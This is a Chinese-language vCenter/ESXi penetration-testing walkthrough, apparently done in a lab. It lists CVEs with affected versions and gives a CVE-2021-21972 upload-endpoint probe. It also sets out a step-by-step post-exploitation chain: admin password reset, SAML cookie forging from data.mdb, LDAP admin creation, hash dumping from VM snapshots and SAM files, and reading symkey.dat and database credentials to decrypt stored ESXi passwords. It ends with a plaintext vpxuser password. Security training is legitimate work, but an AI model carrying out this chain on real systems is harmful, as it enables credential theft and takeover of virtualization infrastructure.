目录
- vcenter介绍
- 环境搭建
- 历史漏洞
- 版本信息
- 1、直接访问
- 2、请求接⼝
- 打点
- CVE_2021_21972
- 漏洞描述:
- POC:
- 后渗透
- 获取vCenter后台
- 重置密码
- Cookie登录
- 创建管理员
- 获取虚拟机Hash
- 分析快照
- 挂载磁盘
- 获取Esxi 后台
- 获取解密key
- 获取数据库账号密码
- 查询Esxi加密密码
- 解密Esxi账号密码
- 登录Esxi管理后台
vcenter介绍
1、vSphere
vSphere 是⼀个软件的集合,包括了 vCenter Server和Esxi。
2、Esxi
Esxi 是 vSphere 中最重要的⼀个组件,是虚拟化服务,所有的虚拟机都是运⾏在 Esxi 服务上⾯。
3、vCenter
Esxi6.0前是通过 C/S 架构来管理 ESXi 集群,Esxi6.0后,官⽅采⽤ web 管理平台。
部署了 vSphere web client 的服务器被称之为 vCenter Server。
官⽅推荐将打包好的Client与 Server 应⽤安装包命名为:VMware vCenter Server Appliance,简称为:VCSA。
VCSA需要部署在VMware⾃家的Photon系统下。
环境搭建
选择esci镜像,创建一个虚拟机
输入密码,输完第一个按tap键输第二个
按f11开始安装
重启即可,进入web管理页面
建一台win 2008
安装vCenter
历史漏洞
1、CVE-2017-5638 (S2-045)
有些⽼旧版本vCenter存在S2-045。
2、CVE-2021-21972(RCE)
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG
3、CVE-2021-21980(任意⽂件读取)
vCenter Server 6.7
vCenter Server 6.5
Cloud Foundation (vCenter Server) 3.x
4、CVE-2021-21985(RCE)
7.0 <= vCenter Server < 7.0 U2b
6.7 <= vCenter Server < 6.7 U3n
6.5 <= vCenter Server < 6.5 U3p
4.x <= Cloud Foundation (vCenter Server) < 4.2.1
3.x <= Cloud Foundation (vCenter Server) < 3.10.2.1
5、CVE-2021-22005(任意⽂件上传)
7.0 <= vCenter Server < 7.0 U2c
6.7 <= vCenter Server < 6.7 U3o
6、CVE-2021-44228(Log4j)
vCenter Server < 7.0 U3c
vCenter Server < 6.7 U3q
vCenter Server < 6.5 U3s
7、provider-logo SSRF
vCenter v7.0.x 的某些版本中存在未授权SSRF漏洞。
版本信息
1、直接访问
https://192.168.76.139/sdk/vimServiceVersions.xml
2、请求接⼝
POST /sdk/ HTTP/1.1
Host: 192.168.76.139
Connection: close
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101
Firefox/100.0
sec-ch-ua-platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.76.139/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Timeline Sec
fcmit.cc0x04 漏洞复现
Content-Type: application/x-www-form-urlencoded
Content-Length: 503
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soap:Header>
<operationID>00000001-00000001</operationID>
</soap:Header>
<soap:Body>
<RetrieveServiceContent
xmlns="urn:internalvim25">
<_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</soap:Body>
</soap:Envelope>
打点
工具:https://github.com/W01fh4cker/VcenterKit
CVE_2021_21972
漏洞描述:
默认启⽤的 vROps 插件(com.vmware.vropspluginui.mvc)
ServicesController 类的 uploadova 接⼝存在未授权访问,
可利⽤路径穿越将⽂件解压⾄特定⽬录实现 getshell。
POC:
https://192.168.76.139/ui/vropspluginui/rest/services/uploadova
如果404,则代表不存在漏洞,如果405 或者200则可能存在漏洞。
Exp:
CVE-2021-21980
CVE-2021-21985
CVE-2021-22005
CVE-2021-44228
provider-logo SSRF
CVE-2017-5638 (S2-045)
后渗透
获取vCenter后台
重置密码
运⾏以下⽬录的程序即可按照流程重置管理员密码。
#Linux
/usr/lib/vmware-vmdir/bin/vdcadmintool
#Windows
C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe
Cookie登录
从 vCenter 获得数据库⽂件,其内含有IdP 证书和为管理员⽤户创建的 SAML 请求。
Linux:
/storage/db/vmware-vmdir/data.mdb
Windows:
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
下载dáta.mdb
利⽤ SAML 解密脚本⽣成 Cookie:https://github.com/horizon3ai/vcenter_saml_login
利⽤插件构造Cookie
访问链接,成功登录
https://192.168.76.139/ui/
创建管理员
利⽤脚本通过ldap添加管理员:
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py
添加完成后即可⽤新加的管理员账号登⼊后台。
获取虚拟机Hash
分析快照
点击虚拟机,⽣成快照。
找到快照⽂件,并下载。
使用Volatility 进行内存取证
volatility_2.6_win64_standalone.exe -f "Windows Server 2008-Snapshot1.vmem" imageinfo
Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
使用 Volatility 的 hivelist 命令来列出内存转储中的注册表 Hive
volatility_2.6_win64_standalone.exe -f "Windows Server 2008-Snapshot1.vmem" --
profile=Win2008R2SP1x64_23418 hivelist
使用 Volatility 进行内存转储分析,特别是从指定的内存地址导出用户密码哈希
Y:\Downloads\volatility_2.6_win64_standalone>volatility_2.6_win64_standalone.exe -f
"Windows Server 2008-Snapshot1.vmem" --profile=Win2008R2SP1x64_23418 hashdump -y
0xfffff8a000024010 -s 0xfffff8a002561010
挂载磁盘
将⽬标机器克隆为虚拟机。
在另⼀台可以登录到桌⾯的虚拟机中添加现有硬盘。
在虚拟机中配置磁盘⽂件为⽬标机器的磁盘。
打开机器,在磁盘管理中设置磁盘联机
SYSTEM⽂件
C:\Windows\System32\config\SYSTEM
SAM⽂件
C:\Windows\System32\config\SAM
获取Esxi 后台
获取解密key
#Linux
cat /etc/vmware-vpx/ssl/symkey.dat
#Windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
获取数据库账号密码
#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties
#Windows
type C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
查询Esxi加密密码
Linux:
/opt/vmware/vpostgres/9.3/bin/psql
Windows:
C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe
使用 psql 工具从 PostgreSQL 数据库中提取信息
./opt/vmware/vpostgres/9.6/bin/psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select
ip_address,user_name,password from vpx_host;" > password.enc
解密Esxi账号密码
- 填充symkey.dat(解密key)
- 填充Esxi加密密码
- 解密账号密码
https://github.com/shmilylty/vhost_password_decrypt
登录Esxi管理后台
vpxuser/j0bB~ck@3F8K{.KXUmH[bgG}=8}3.w:j